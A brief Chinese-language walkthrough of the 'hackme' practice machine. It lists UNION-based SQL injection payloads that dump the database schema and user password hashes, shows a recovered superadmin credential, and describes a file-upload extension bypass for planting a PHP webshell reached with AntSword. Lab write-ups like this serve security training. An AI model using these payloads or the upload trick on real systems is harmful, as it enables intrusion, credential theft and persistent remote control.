hackme靶机通关攻略

步骤一：信息收集

搜索靶场环境

步骤二：访问搜索地址

步骤三：注册账号密码

username：123

password：123456

登录

点击search

步骤四：输入书名进行burp抓包

步骤五：在书名后进行sql漏洞注入

闭合方式' --+

字段数为3

' order by 3 --+

查询数据库

' union select 1,database(),3 --+

webapphacking

查询表

'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='webapphacking' --+

books，users

查询user表字段

' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='webapphacking' and table_name='users' --+

id,user,pasword,name,address

查询user，pasword信息

' union select 1,2,group_concat(user,pasword) from users --+

利用md5进行解密

利用superadmin进行登录

2386acb2cf356944177746fc92523983

Uncrackable

登录进入页面

步骤六：编写1.php木马文件

步骤七：更改后缀名为.jpg进行文件上传，进型burp抓包

更改文件名后缀为.php进行放包

访问/upload/1.php后进行蚁剑连接